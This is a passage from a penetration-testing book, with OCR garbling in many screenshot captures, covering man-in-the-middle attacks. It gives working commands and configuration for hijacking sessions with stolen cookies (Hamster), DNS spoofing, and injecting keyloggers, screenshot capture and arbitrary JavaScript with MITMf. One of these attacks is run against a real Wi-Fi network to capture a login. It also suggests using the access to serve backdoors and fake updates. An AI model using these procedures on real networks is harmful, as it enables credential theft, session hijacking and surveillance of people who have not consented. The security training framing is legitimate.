STRPzrMY8Wu%s2F D"

We are going to copy the proxy link that hamster gave us, which is
http://127.0.0.1:1234, and we are going to go to our browser. Now, we need to

modify our proxy settings to use hamster, so in our Kali browser we're going to go
to Preferences | Advanced | Network | Settings, and we're going to set it to use a manual
configuration, and we're going to set the port to 1234.
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So, we're using 127.0.0.1, which is our local address, and the port is 1234:

Click OK,
127.0.0.

Connection Settings x

Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings

@ Manual proxy configuration:

HTTP Proxy: 127.0.0.1 Port: 1234
Use this proxy server for all protocols
SSL Proxy: Part: (1
ETP Proxy: Port: 0 =
SOCKS Host: Port: 0=

SOCKS v4 @ SOCKS yb
Mo Proxy for:
localhost, 127.0.0.1

Example: mozilla.org, net.nz, 192.168.1.0/24

Automatic proxy configuration URL:

Do not prompt for authentication if password is saved
Proxy DNS when using SOCKS v5

Help Cancel QK

and then we're going to navigate to the URL given to us by ferret, which is
1:1234:

-- NO
cloned
target

No target has
been selected
yet

& ®)127.00.11234 @ ||Q, Search trBE &+ & O
#1 Most Visited~ Il Offensive Security s Kali Linux S Kali Docs W Kali Tools = Exploit-DB Wy Aircrack-ng S\, Kali Ferums "\ NetHunter , Kali Training @& Getting Started

HAMSTER 2.0 Side-Jacking

[ adapters | help ]

STEPS:In order to sidejack web sessions, follow these steps. FIRST, click on the adapter menu and start sniffing. SECOND, wait a few
seconds and make sure packets are being received. THIRD, wait until targets appear. FOURTH, click on that target to "clone" it's session ]
FIFTH, purge the cookies from your browser just to make sure none of them conflict with the cloned targets. again
TIPS: remember to refresh this page occasoinally to see updates, and make sure to purge all cookies from the browser
WHEN SWITCHING target, rember to close all windows in your browser and purge all cookies first

Status

Proxy: unknown
Adapters: none

Packets: 0

Database: 115

Targets: 2

« 10,0.2.15
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We go and select our adapter by going into adapters and entering eth0. Then, click Submit

Query:

-- no
cloned
target

No target has
been selected
yet

To start monitoring, type in the adapter name and hit the [Submit] button. This adapter must support ‘promiscuous’ mode monitoring. You
may have to first confiqure the adapter on the command line, especially for wifi adapters

ethd Submit Query

We can see that here we have two targets:

-- NO
cloned
target

No target has
been selected
yet

HAMSTER 2.0 Side-Jacking
[ adapters | help 1

STEPS:In order to sidejack web sessions, follow these steps. FIRST, click on the adapter menu and start sniffing. SECOND, wait a few
seconds and make sure packets are being received. THIRD, wait until targets appear. FOURTH, click on that target to "clone” it's session.
FIFTH, purge the cookies from your browser just to make sure none of them conflict with the cloned targets. again
TIPS: remember to refresh this page occasoinally to see updates, and make sure to purge all cookies from the hrowser
WHEN SWITCHING target, rember to close all windows in your browser and purge all cookies first
Status
Proxy: unknown
Adapters: none
Packets: 0
Database: 115

Targets: 2

* 10.0.2.5

Our targetis 10.0.2. 5; that's our target IP. We are going to click on it, and as we can see in
the following screenshot, on the left we have all the URLs that contain cookies related to
our target:
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10.0.2.5

cooking
» hitp:ffocsp. phi.goog/CTSCIACS
* http:/focsp.digicert.com

[MFEwTzBENMEswSTA|ByUrDgMC:
& %

[MFEwWTzBNMEswSTA]BallrDgMC:

= http:/istatus. rapidssl.com
(MFEWTzBNMEswSTAIBaUrDgMO

s http:/, scalb com

HAMSTER 2.0 Side-Jacking
[ adapters | help ]

STEPS:In order to sidejack web sessions, follow these steps. FIRST, click on the adapter menu and start sniffing. SECOND,
wait a few seconds and make sure packets are being received. THIRD, wait until targets appear. FOURTH. click on that target
to "clone” it's session. FIFTH, purge the cookies from your browser just to make sure none of them conflict with the cloned
targets. again
TIPS: remember to refresh this page occasoinally to see updates, and make sure to purge all cookies from the browser
WHEN SWITCHING target, rember to close all windows in your browser and purge all cookies first
Status
Proxy:

unknown

IMFEWTzBNMEswSTA]BgUlrDygMC:

* hitp:/focsp.comodoca.com
(MFIwUDBOMEwwS Al BaUrDgMC
* http:/focsp.digicert.com
MEFEWTzENMEswSTAIBaUrDaMC
* hitp:/focsp.digicert.com
[MFEWTzENMEswSTAIBalrDaMC
» http:{focsp. digicert.com
(MFEWTzBNMEswSTA]BgUrDgMC
 http://status.rapidssl.com
(MFEWTzRNMEswSTA]BglirDgMC
+ http:/focsp.scalb.amazontrust.com

* hitp:/iocsp.comodoca.com
» hitp:lfocsp.comodoca.com

. l\llp‘.HuL‘sp.d_igicurl.cwu

Database: 115
Targels: 2

» 100215
#[10.0.2.5

Obviously, a lot of URLs listed are ad websites or ad URLs, but we can see that one of the
URLs is for Udemy.com, and if we click on it, we will be actually logged in without having
to enter a username or password. So, we can go into the channel and do anything that the
target person is able to do without using the username and the password, and this is all
possible because we stole the cookies that the person actually used to authenticate
themselves with the website.

DNS spoofing

In this section, we're going to learn what DNS spoofing is and how to perform it. DNS is

basically a server that

converts domain names, such as www.google.com, to the IP address

of the device where the Google website is stored. Since we're the MITM, we can have a
DNS server running on our computer and resolve DNS requests the way we want. For
example, whenever a person requests Google, we can actually take them to another
website, because we're in the middle. So, when someone requests it, we'll actually give
them an IP that we want and then they'll see a completely different website than what
they're expecting. So, we can have a fake website running on our own web server and get

requests, for example,

from live.com to that website.
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We can have a website requesting the target person to download a backdoor; we can do
anything we want, really, when we're pretending to be another website. The possibilities of
what we can do with this attack are endless.

Let's see how we can do this. The first thing we are going to do is redirect people to our
web server. The web server is going to be running on our local Kali machine. We can
redirect people to any web server anywhere we want, but in this section we're redirecting
them to our local web server. To do that, we're going to start Apache web server. It comes
preinstalled with Kali, so all we have to do is run service apache2 start, and the web
server will start.

The files for the web server are stored in the /var/www/html directory. We are going to

open our file manager, and we are going to go to the /var/www/html directory, and the

page that is seen in the following screenshot will be displayed to people who browse our
web server:

< > |4 www | html evifiles » af=z|=z|o@ ®©

@ Hecont Name ~ Size Modified

& B cvilfiles 5 items 00:10
ome

B Desklop b index.html 71 bytes 6 Jul

We can have a whole complete website installed in here and it will be displayed whenever
a person visits our web server. If we go to our browser and browse to 10.0.2.15, which is
our own IP address, our internal IP, we will see that we can see the index.html page
there. Let's configure the DNS server that comes in with MITMf; to do that we're going to
use Leafpad, which is just a text editor, and then we're going to run leafpad
/etc/mitmf/mitmf.conf. Then, we going to scroll down to where the A records are, as
seen in the following screenshot; the A records are basically the records that are responsible
for transforming or translating domain names to IP addresses:

# Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
# can also be a comma seperated list e.g 8.8.8.8,8.8.4.4

#

nameservers = 8.8.8.8

[[[A]]] # Queries for IPv4 address records
* thesprawl.org=192.168.178.27
*, live.com=10.0.2.15
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We're going to be targeting 1ive.com and using the * as a wildcard. So, basically we're
saying any subdomain to 1ive.com should be redirected to 10.0.2.15—our IP address.
We can replace this with any IP address. For example, we can put the IP address of a
remote website that we have hosted on any hosting company, or we can have it redirecting
to Google, for example, if we put Google's IP. Any IP we put here will redirect 1ive.com.
Save the file and close it, and we are going to run our command. It is very similar to the
commands that we were running before in previous sections. The only difference is I'm
going to add one extra option, which is ——dns. So it's exactly the same commands, mitmf -
—arp --spoof --gateway --target --i,and then we added one extra option, which
is ——dns. The command is as follows:

mitmf —--arp —--spoof --gateway 10.0.2.1 --target 10.0.2.5 -i ethO --dns

After hitting Enter, DNS spoofing is enabled. Let's go to the target and try to go to
live.com and see what happens. As we can see in the following

screenshot, 1ive.com actually uses HTTPS, and it has been redirected to our own website,
which displays some simple text, but we can install anything we want. We can ask them to
download something, or we can have a fake page, steal stuff, and steal credentials:

live com/

« ¢ o @ fve.com L I 4 m @ =

Hello

It can also be used to serve fake updates to the target person, for example, or for backdoor
downloads on the fly. There are so many uses to DNS spoofing. This is just the basic way to
do DNS spoofing, and then we can use it and combine it with other attacks or with other
ideas to achieve really powerful attacks.
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MITMf screenshot keylogger

In this section, we're going to have an example of a simple plugin that comes in with
MITMf. We are going to run mitmf --help, and after scrolling down past help, we will
see a lot of plugins, as we can see in the following screenshot, that we can use to do various
things on the target computer:

t arbitrary content into HTML content

Lead plugin 'Inject’
URL of the 15 to injec
d JS PAYLOAD

15 string to inject
--js-file J5_FILE File con ning JS to inject
--html-url HTML_URL 1] of the HTML to inject
--html -payload HTMI _PAYI DAD

HTML string te inject

--html-file HTML_FILE

File con ning HTML to inj
--per -domain Injecl vnce per domain per clienl.
-rate-limit RATE_LIMIT
Inject once every RATE LIMIT seconds per client.
--count-limit COUNT LIMIT
Inject o
Inject
DO NOT
nains DOMAINS
Inject ntent ONLY for these domains
-domains DOMAINS
D0 NOT inject content for these domalns (comma seperated)

We can use the -—inject plugin to inject code into the web pages that the target person
loads, and we'll have an example of that later. What we want to do now is just see an
example of a simple plugin, and then we'll do more in the future. Now, for example, as we
can see in the following screenshot, we have a Screenshotter plugin, and this plugin
takes screenshots of each of the pages that the person uses. Whenever the person uses a
page, it takes a screenshot of that page:

Shotter:
HTMLS Canvas to render an accurate screenshot of a clients browser

--5 Load plugin 'Scr tter'
--interval SECONDS Interval at which screenshots will be taken (default 10 seconds)
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We can set up the ——interval; that's the amount of time in which the program should take
a screenshot. It defaults to 10 seconds, so it takes a screenshot every 10 seconds, but we can
modify it using the ——interval option.

We're having a basic look at how we can use the plugins, so the first thing we do is use the
plugin name, and then we put the option that we want to set. We're going to use the same
command that we always use, and then we're going to put the plugin name after it. The
plugin name is going to be ——screen, and if we want to change the interval we can put the
—-—interval option. Then, we put the interval for taking the screenshots. We are going to
keep it at 10 seconds, so we are not going to do anything. Here is the command:

mitmf —--arp --spoof —-—-gateway 10.0.2.1 --target 10.0.2.5 —-i ethO --screen
We should go to the target computer and browse the internet.

Go to Bing or Google and search anything, go on Images and so on. The plugin has started
taking screenshots of everything now; every ten seconds it's taking a screenshot, and we
can see in the following screenshot that it's actually injecting the code in here every time:

d screenshot

Stop the process with Ctrl + C, and then we're going to go and have a look on the
screenshots that plugin has captured in the /var/log/mitmf directory:

€ » |41 @ var log | mitmf » Q = 06006
{0 Recent i
& Home * | 10.0.2.5-www.google.co.in-2018-07-17_01: 28:20: 1531805300, png 167.6 kB 01:28
& Desktop * | 10.0.2.5-www.google.co.In-2018-07-17_01:28:30:1531805310.png 172.0kB 01:28
[ Documents = | 10.0.2.5-www.google.co.in-2018-07-17_01: 28:40:1531805320.png 161.4 kB 01:28
@ Downloads — .
10.0.2.5-www.qoogle.co.in-2018-07-17_01: 28:50:1531805330.png 172.1kB 0L28

J1 Music

B 10.0.2.5-www.google.co.in-2018-07-17_01:29:35:1531805375.png 12 M8 01:29
1 Plctures
B videos B 10.0.2.5-www.google.co.in-2018-07-17_01:29:44: 1531805384 png 12 MB 0129
@ Trash £25 10.0.2.5-www.google.co.in-2018-07-17_01:29:54:1531805394.png 12MB 01:29
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We can see we have the pictures we Googled on the target:

10.0.2.5-www.google.co.in-2018-07-17.01:29:54:1531805394.png

a

Wmages  Mag Mow Vidooe  Moro Sotting :
EEREREREEREsn
- g ™ -~ — 4

___wp—_---:

All the images will be stored in the /var/log/mitmf directory, and we can see them and
get an idea of what the person is doing on their computer. There are other plugins that you
can use.

We have —-jskeylogger, which will basically inject a keylogger into the target page, but
it's kind of useless because since we are the MITM, we can see the usernames and
passwords anyway, as well as anything else that gets sent on the target computer. But if for
any reason we wanted to have some sort of a keylogger injected into the target computer,
or into the target website, then all we have to do is the same command that we always run
and just type in ——jskeylogger after it, and that's the keylogger injected. Here is the
command:

mitmf —-—-arp —--spoof —-—-gateway 10.0.2.1 --target 10.0.2.5 -i ethO —--
jskeylogger
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So again, we can go on the target web browser and search for something else. Let's go to
Carzone.ie and try to log in with fake credentials. We put the email zaid@isecurity.org
and the password 123456. Now, obviously, again this has been captured because we're the
in the middle of the connection. If we go to the MITMf Terminal, we can see that our
JSKeylogger is detecting that stuff is being entered into the fields called email and

password:

So again, if the target person is writing anything on any page, we will be able to capture it
using the keylogger, but since we are the MITM we can do that using Wireshark, and
analyze all the packets and see what the person is typing.

This is another method of doing it. It's an example of how we can use the plugins that come
with MITMf. Now again, typing mitmf --help will give we all the options, all the plugins
that we can use, and using them is very similar to what we have been doing. So we usually
just put the option, or the plugin name, and if we are going to set any options for it then we
set the options.
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MITMf code injection

In this section, we're going to be talking about how to inject code into the browser, into the
target computer. Since we're the MITM and since everything flows through our device,
when someone requests a page we can actually insert any type of code that we want into
that page. Browsers can run two types of code; they can run HTML code, and they can run
JavaScript code. HTML code is the code responsible for the way that the page looks, so it's
the code for the buttons, for the text, for the images, all of that. It can't really be used to do
anything that will allow us to gain any access to the target computer. JavaScript, on the
other hand, is a programming language that can be used to do many things, and we'll see
that in later sections. In this section, we'll see how to inject JavaScript code into the target
browser. We can use the same method to inject HTML, but JavaScript is more useful. That's
why we're going to use our example to inject JavaScript.

So, let's first of all run MITMf with the -—help command, and it will show us what options
we have with the ——inject plugin, as shown in the following screenshot:

Inject:
Inject arbitrary content into HTML content

--inject Load plugin 'Inject’

L URL of the JS to inj
-p d J5_PAYLOAD
J5 string to inj
--js-file 15 FILE taining JS to inject
--html-url HTML_URL 'L of the HTML to inject
--html-payload HTML_PAYLOAD
HTML string to inject
--html-file HTML_FILE
File containing HTML to inject
--per-domain Inject once r domain per client.
-rate-limit RATE LIMLI
Inject once every RATE LIMIT seconds per client.
--count-limit COUNT_LIMIT
Inject only COUNT_LIMIT tim
Inject content ONLY for t
- - DO NOT inject content for th
--white-domains DOMAINS
Inject content ONLY for these domains (comma se
--black-domains DOMAINS
DO NOT inject content for these domains (comma se
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We're going to be using the same command that we always use. The only difference is
we're going to insert the ——inject plugin, and then we have different options for injection.
There are three main options:

e We can have our code stored into a file, and we can use -~-js-file or ——html-
file to inject the code stored in the file that you specify.

e Code can be stored online, and it has a URL. We can use that URL using the —-
js—url or the -——html-url options.

e We can actually supply the code itself through the command using the ——js-
payload or the -——html-payload options.

We're going to be supplying the code through the command the first time, and then do it
using a file. We're going to be using ——inject payload, and then we're going to be doing
—-—Jjs-payload.

Our command is going to be the same as always, mitmf, and then we're going to add the
option, the plugin, which is --inject, and then we're going to tell it that we want to
specify the code through the command. We're going to use the ——js-payload, as then we
can put the JavaScript code after the —-js-payload option. We are going to put in our
JavaScript code, and we are going to use very simple code that will only display a message
on the target computer. Our code is not going to try to hack anything; all it's going to do is
just display a message box on the target computer, and in further sections we'll see how we
can use this option to do more powerful attacks. So, basically, our code is going to do an
alert () function in JavaScript, and the alert is just going to say test. So, our command is
the same, it'smitmf -—-arp —-spoof; our interface, -i; the -—gateway; the -——target;
and then we loaded the --inject plugin; and we're telling it we're specifying the code
through the command. The code that we want to runis alert ('test'), and that's it. The
command is as follows:

mitmf —--arp —--spoof -i eth0 --gateway 10.0.2.1 —--target 10.0.2.5 —--inject -
—-js—-payload "alert('test')"
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We can check the result by going to the target system, browsing to a normal web page, and
seeing what happens. We are just going to go to Carzone.ie, and as we can see in the
following screenshot, the page displays a message box, and that message box says test:

So again, this is very simple code that doesn't really allow us to do anything on the target
computer, but we can use it in further sections to do more powerful attacks.

Again, we can actually Google JavaScript codes and see codes that will be useful for us. For
example, there are JavaScript keyloggers, there are codes that can take screenshots of the
target computer, and there are a lot of other codes. You can redirect the target computer
somewhere else, steal their cookies; you can do a lot of these powerful attacks.

Another way to run an inject attack is by using a file. If we are using one of these more
complicated codes, it's going to be hard to write it through the command, so we would be
better off storing the code into a file and using the —-js-file option. All we will have to
do is open our Leafpad and get our code. We are actually just going to run leafpad, and
we are going to write the same code that we did in the preceding example into a file. We
are going to make an alert pop up, alert ('test2') ;. We are going to save the file as
alert.js, and we are going to store that in our /root directory:

alert.js e O
File Edit Search Options Help
lalert('test2');] -
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So again, if we are Googling or if we are using a more complicated code, we can have it all
in this file, and then inject it. Run the command as we did before; the only difference is that
instead of using the -—js-payload, we're going to use -—js-file, and we're going to
specify the file, the full path to the file. We stored it in the /root directory as alert.js.If
we download a file from the internet that contains a keylogger, for example, or a file that
will redirect the target computer to some other site, then again we use the same command,
but make sure we put ——js-file and then the full path to where that file is stored. The
command is as follows:

mitmf —--arp —--spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 —--inject -
-js—file /root/alert.js

We will then launch this command, and MITMf will start the process. We are going to come
back to the target. Let's browse for something. We will see that our code, the second code
that we injected, which was called test2, was executed on the target machine. The result of
the attack can be seen in the following screenshot:

Now, again, these are really simple codes just displaying a message box, but we can
download or look for more complicated JavaScript codes, or just follow up in the further
sections and see how we can use this feature to carry out more powerful attacks.

MITMf against a real network

MITM( can be used against real networks exactly the same way that we were using it
against virtual networks; the only difference is we want to make sure that you specify the
right IPs, the right interface, and connect to the same network that the target person is
connected to. We should also go over a few points that might prevent MITMf from working

properly.
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The first thing to do now is run the i fconfig command to see our configuration. We can
see in the following screenshot that we have eth0 and it's connected to our NAT network,
because we configured the Kali machine to use a NAT network:

rutl.l 1500

::a00:27ff:fed@b: 91(6
ETE ob 91: > en 1000 (Ethe ﬂrt!
30 {93 4 MiB)
i dr||- o]

ropped ® overruns ® carrier ® collisions @

; 1117 9 MiB)
0 frame 0
649604 (117.9 MiB)
1rnpprd ® overruns @ carrier ® collisions ©

First of all, the thing we want to do before we target a real network is make sure that that's
the only network that Kali is connected to. The first thing that we need to do is disconnect
from the network with the IP 10.0.2.15, which is our virtual network. This is very
important, and it's actually the main thing that seems to be interfering with MITMf. The
attack might work but we will have DNS issues, or the target machine will experience a
very slow internet connection, or they'll lose their internet connection completely. Go to
Devices | Network, and look for the tick next to the Connect Network Adapter option:

Devices | Help

Optical Drives 4
Audio 3
Metwark 4
=B 3

Yifebcarms L4

@ MNetwark Settings..

é} Connect Metwork Adapter

[ORONICTIN TN G

The tick indicates we're connected to the network, because it connects the network adapter.
We're going to click on Connect Network Adapter, and that's going to disconnect us from
the NAT network, as shown in the following screenshot:
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Devices | Help
@) Optical Drives r
g sudio C
EF  Network b @ Metwork Settings...
& use v
& Connect Metwork Adapter
Q WiYebcarms 4

Now, if we run the ifconfig command in our Kali machine, we will see that eth0 is not
connected to anything, which indicates we are offline in the Kali machine. We can't even
ping anything:

¢ ifconfig
ethe: fla mtu 1500
- ; en 1000 (Ethernet)
i (93.4 MiB)
oppe overruns © frame O
29032 ytes 1985091 (1.8
0 dropped © overruns @ carrier @ collisions ©

)pped © -
15 bytes 124031376 (11 MiB)
dropped ® overruns @ car ® collisions ©

The next thing that we need to do is connect to the same network that the target machine is
connected to. We are going to be targeting a Windows machine. It's a physical computer
connected to a physical Wi-Fi network, and the name of the network is Test. As we
mentioned before, we can't use the internal wireless card inside VirtualBox, inside virtual
machines, so to connect to a Wi-Fi network we're going to need to use an external wireless
adapter. We are going to connect our wireless adapter through a USB port, and then go to
Devices | USB, and connect a wireless card called ATHEROS:

Devices | Help

Ralink 802,11 n YLAM [0101]
Shared Folders Y|V ATHEROS UBS1 [0108]

@ Optical Drives ’

g audio C

@ Metwork L4

& usB * |23 USE Settings..
Q Wifebcams L4

G
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Now, if we run the ifconfig command, we will see that we have a new interface called
wlan0. It is a wireless card, but as we can see in the following screenshot, the wireless card

is not connected to any network:

wlan®: mtu 1500
57:07:99:27 len 1000 (Ethernet)
74 byte 250.9 MiB)

pped 0 rruns @ frame @
19813173 (18 MiB)
erruns @ carrier @ collisions @

We need to connect to the same network that the Windows machine is connected to. After
connecting, if we run i fconfig we will see that wlan0 has an IP address, and notice that
the first three parts of the IP address on Kali are the same as the first three parts of the IP
address in Windows:

# ifconfig
099<UP, BROADCAST, MULTICA:! mtu 1500
: txqueuelen 1000 (Ethernet)
0 (93.4 MiB)
"runs @ fram
y 091 (1.8 )
® dropped @ overruns ® carrier @ collisions @

mtu 65536
0]
d 0xle<host>
back)

6 byt 6
dropped @ overruns @ ar 9 collisions ©

wlan®: flag T,RUNNING,MULTICAST= mtu 1500
. 255.255.255.0 b
a:aa73 prefixlen
queuelen 1000 (Ethernet)
65 (250.9 MiB)
opped @ ove frame @
1 byt 19816065 (18.8 MiB)
0 dropped © overruns © carrier @ collisions @
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Here is the IP of the Windows machine:

Suffi . @ Belkin

Basically, it means that both wireless cards are on the same subnet, on the same network,
and now we can use wlanO to target the Windows computer.

If we run arp -a, notice the MAC address now. Here is the correct MAC address of the
router, and when we run MITMf it should change to the attacker's MAC address:

Let's run MITMf exactly the same way as before. We're going to run mitmf. We're going to
do —-—arp --spoof, give it the interface, and this time we're targeting a real computer.
We're targeting a real network, and the wlan0 interface is connected to that real network.
So we're going to use wlanoO for the interface instead of eth0. Then we are going to set the
—--gateway, and that's usually the first IP in the subnet, so it1l be 192.168.0.1, and then
we are going to specify ——target, which is the Windows machine, and it had an IP of
192.168.0.3. The command is as follows:

mitmf —--arp —--spoof -i wlan0 —-—-gateway 192.168.0.1 —--target 192.168.0.3
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The only difference is we're using different arguments; we're using wlan0 because wlan0 is
the wireless card that's connected to the target network, we're using the ——gateway thatis
the first IP of the same IP that we have, and then we're using the —-target, which is this
Windows machine, and we've set it to 192.168.0. 3. After hitting Enter, we can see the old
MAC address of the router used tobe ec:1a:59:5a:ce:de; now if we run the ——arp -

a command, the MAC address should change to the Kali machine's MAC address:

WMo oAa LA

This could actually take up to a minute and a half for the changes to be reflected. Just give it
some time and then check the MAC address again if it's not reflected.

Go and browse to a website just so that we generate some traffic on the Windows
computer, so that it will go ahead and update its ARP table. MITMf is sniffing data and it's
capturing data that's sent by the Windows machine:

ft-CryptoAPI-
[type soft-CryptoAPI-
[type: ft-CryptoAPI-
[type:Mi ft-CryptoAPI-
[type:Mi ft-CryptoAPI-
[type:Mi ft-CryptoAPI-
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[type: ft-CryptoAPI-
[type:Mi ft-CryptoAPI-
[type i ft-CryptoAPI- 0
[type soft-CryptoAPI- D he . t.com
[type: ft-CryptoAPI- he icert.com
[type: ft-CryptoAPI- = digicert.com
[type:Mi ft-CryptoAPI-
[type:Mi ft-CryptoAPI- icert.com
[type: ft-CryptoAPI- Other] digicer
[type:Microsoft-CryptoAPI- os:0ther] status.rapi

ert.com
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Try to log in to an HTTP website with fake credentials on the Windows machine. As we can
see in the following screenshot, we managed to get the email, which is
zaid@isecurity.org, and the password, whichis 123456:

dge-17 os:Windows] POST Data (sell.carzone.ie):

MITMf worked against a computer that is connected to a real network. The main thing to
keep in mind is make sure that we are connected to the same network as the target person.
If that person is connected to a Wi-Fi network, make sure we are using an external wireless
adapter and we are not using a bridged or NAT network. We need to connect through the
network manager of Kali Linux, so we need to attach the wireless card and then connect to
the target network. Also keep in mind that we should disconnect the Kali machine from the
NAT network, if it was connected to one, by going to Devices | Network, and then
uncheck the virtual adapter, because we want to make sure that the Kali machine is
isolated. We don't want it connected to any network other than the target network.

If we run i fconfig, we can see that eth0 does not have any IP addresses. The only device
that has an IP address and that's connected to the internet is wlan0:

ifcﬂnfiq
mtu 1580
t,qu en 1000 (Ethernet)
E) {0.0 B)
d @ overruns © frame @
y 0 (0.0 B)
dropped ® overruns @ carrier ® collisions ©

{li0: ags \ > mtu 65536
; .!3.0.9

TX pdc ) 8
TX err ] ropped © overr D carrier ® collisions ©

wlan@: flag 3<UP, BRODA ST, RUN \ 1 mtu 1500
; broadc

txqueuelen 1000 (Ethernet)
5 11390515 (10.8 MiB)
dropped © o© s ® frame 0@
3291 by . )
dropped 0 ove g a er @ collisions @
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Once we are are done running attacks, and if we wanted to go back to using the NAT
network to target other virtual machines, or if we just wanted to get our internet connection
through the host machine, all we have to do is just go to Devices | Network, and click on
Connect Network Adapter:

Dewvices | Help

(@) Optical Drives L4
g audio v
EP  Metwork P Ed Metwork Settings..
@& uUse ¢
Connect MNetwork Adapter
@ Miebcams 4

That'll again connect our eth0 to the NAT network, and it will allow us to use it as we were
using it before. So, if we run ifconfig now, we will see that eth0 has an IP address and
it's connected again to the NAT network:

- ifconfig
etho: 163<UP, BROADCAST , RUNNING,MULTIC mtu 1500

i i etmas 55.255.255.0 broa
a0e:27ff:fe@b:9166 prefixlen 64
27:0b:91:66 txqueuelen 1000 (Ethernet)

by 1520 (1.4 Ki

RX erro D dropp 0 overruns @ frame @

TX packe 3 bytes 1534 (1.4 KiB)

TX errc B dropped ® overruns ® carrier ® collisions

73<UP,LOOPBACK, RUNNING= mtu 65536
S .0 0]
d Ox18<host=

loop DOE yback)
5 i

collisions ©

wlan@: 163<UP, BROADCAST , RUNNING,MULTICAST= mtu 1500
. 168 . ¢ netm 255.255.255.0 b
: : prefixlen 6
en 1000 (Ethernet)
19 (11.1 MiB)
dropped © overruns @ frame ©
48 364900 (356.3 KiB)
erruns @ carrier ® collisions ©
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Wireshark

In this section, we're going to talk about a tool called Wireshark. Wireshark is a network
protocol analyzer. It's not designed for hackers, and it's not designed for hacking and
spying on other people on the network. It's designed for network administrators so that
they can see what's happening in their network and make sure that everything is working
properly, and that nobody is doing anything bad or suspicious on the network. The way
that Wireshark works is it allows you to select an interface and then logs all the packets, or
all the traffic, that flows through that interface. So, we are selecting an interface (it could be
a wireless card, or it could be a wired card on our current computer), and then it'll start
logging all the information that flows through that interface. It also has a really nice
graphical interface that allows us to analyze this traffic, so it allows us to filter these packets
based on the protocol used in them, such as HTTP or TCP. It also allows us to look for
certain things, such as cookies or POST or GET requests, and it also allows us to search
through these packets. We can search through the information that's stored in the packets,
and find the things that we are looking for. This tool has a vast number of applications, and
we might need a entire book to cover them all, so in this book we're actually going to use it
in just a few sections, just covering the basics and the things that are related to us.

The main idea here is that Wireshark is not a hacking tool. It only allows us to capture the
traffic that flows through our own computer, or interface. So, we are just going to go to
Kali, and we're going to start Wireshark. We can run the wireshark command from the
Terminal. First of all, you can actually just go to File | Open, and in here you can open a
file that we've already captured. For example, you may have captured packets using a
different sniffer, such as Airodump, MITM{, or TShark, which is the Terminal part of
Wireshark.
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If we captured packets using any of these programs and you stored it in a file, we can just

come in here, open it, and start analyzing that file:

o

Wireshark - Open Capture File

Look in: B /root

Bl Computer MName

: root 1 Public
&1 Templates
B Videos
m

sniff-2018-07-16-eth.pcap

Automatically detect file type

Read filter:  Apply a read filter ...

~ Size Type
Folder
Folder
Folder
43...MiB pcap File

B Open

o test-upc-Ol.cap 3.60 MiB cap File
o test-upc-02.cap 301..KiB cap File
4

File name:

Files of type: | Wireshark/tcpdumpl/... - pcap (*.dmp *.cap *.pcap) -

Date M™
4/26/1
4/26/1
4/26/1
7/16/1
7/5/18
7/5/18

2

® Cancel

& Help

This is really handy because sometimes we don't really want to analyze the traffic on the
fly. Sometimes we just want to capture traffic from a small laptop, or from our phone, and
we may not even be at home. We may be somewhere else doing our pen test, and then we
go back home and then we want to analyze what we captured. In such cases, we can store
that in a file and then just open Wireshark and open the file that we want to analyze. The
main idea here is that Wireshark is not a hacking tool, it's not going to capture things
happening in another device. It will only capture things that flow through our own

interface.
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So, we can see in the following screenshot that we have all the interfaces in our computer.
We can see that we have eth0, and we have all the other ones, some of which are created by
VirtualBox:

Capture

..using this filter: | |Entt'| a capture filter ... - || Allinterfaces shown -

eth0 M. A\ : ——— ~
any PR Y'Y B PV U VU W S VO, S DU S S T S S— Ak
Loopback: lo AA Al A aA Aa_ A A A a A A n M A A A

nflog
nfqueue
usbmaonl

The main one in the preceding screenshot is eth0, which is the virtual interface connected to
our NAT network.

Now, open a browser and go to a normal website, such as Google. Now, as we can see in
the following screenshot, we can see the traffic in the eth0 interface graph is spiking, so
there was some traffic generated through that interface:

Capture

...using this filter: [ |Fnt9r a capture filter .. -] All interfaces shown -
eth0 M|
any S A SRS 'u'IL
Loopback: lo A A A A v N (W A

So, if we're sniffing on eth0, we will be able to capture the packets that were sent.

Now, go to our Windows machine just to prove that point; browse to the website, and we
will see that eth0 will not be affected. The traffic that's generated on this Windows machine,
which is in the same network as the Kali machine, will not be captured by the Kali machine.

So, why is Wireshark so useful, why are we even talking about it if we can only see things
that go through our own computer? Why are we talking about it? Well, we're talking about
it because we've seen that there are many ways that we can become the MITM.
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Now, we talked about two methods of becoming the MITM. We talked about doing it using
ARP spoofing, and if we create a fake access point then we'll naturally be the MITM
because all the requests will be going through the fake access point and start sniffing on the
interface that's used to become the MITM. We'll be able to capture all the traffic generated
by the people that we're targeting in our MITM attack. So, if we start a fake access point, we
can start sniffing on the interface that's broadcasting the signal, and we can capture all the
packets sent to or received by anyone who is connected to that fake access point. If we
become the MITM using ARP spoofing, then just select the interface that we used when we
launched our ARP spoofing attack. We are going to perform this with ARP spoofing
because it's quicker and easier than generating a fake access point, but again, this works on
both ways. It even works if we manage to become the MITM using a different method. Just
make sure we select the interface that's used to launch that attack.

So, we are going to look at ARP spoofing. We can do it using arpspoof, or you can you do it
using MITM(f. We're going to do it using MITMf, and our command is going to be mitmf -
—arp —-spoof -i, which is going to be eth0, then we're going to specify the ——gateway,
10.0.2.1, and then the --target, whichis 10.0.2. 5. So, we performed this command
before. It will just put us as the MITM. It'll redirect the traffic from the computer that has
theIP 10.0.2.5 to our computer, placing us in the middle. Run the attack using the
following command:

mitmf —--arp —--spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5

Go to the Windows machine. If we do any browsing here, it is going to affect the traffic in
eth0. We'll see whether Wireshark will be able to capture traffic generated by this Windows
machine. Browse to Google, or a different website, and if we come back to the tool, in the
following screenshot you will see that we have traffic being generated here. We can see that
eth0 is actually capturing packets in a completely different device, a device that's not even
connected to our network:

Capture
..using this ﬁltl:l:: |E||1:'r a caplure filter ... '] All interfaces shown -
3
any At
Loopback: lo PO V) e A Ama na M aan aah_ann
nflog
nfqueue
usbmonl
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This is happening because when we are the MITM and all the packets that are generated by
the Windows device are actually being redirected to our Kali device, and then Wireshark is
sniffing them from the Kali machine, it's sniffing it from own local machine. It's not sniffing
it from the network, it's not sniffing it from the target computer, it's only listening on
current interface, which is eth0, and it can capture packets that are flowing through eth0
because MITMf has redirected the traffic of the Windows machine to flow through the Kali
machine.

So, again, if an attack is performed with the fake access point, then just listen on the
interface that we are broadcasting from. If we are performing this attack with a real
wireless network, if we are connected to our home wireless network using wlan0, then we
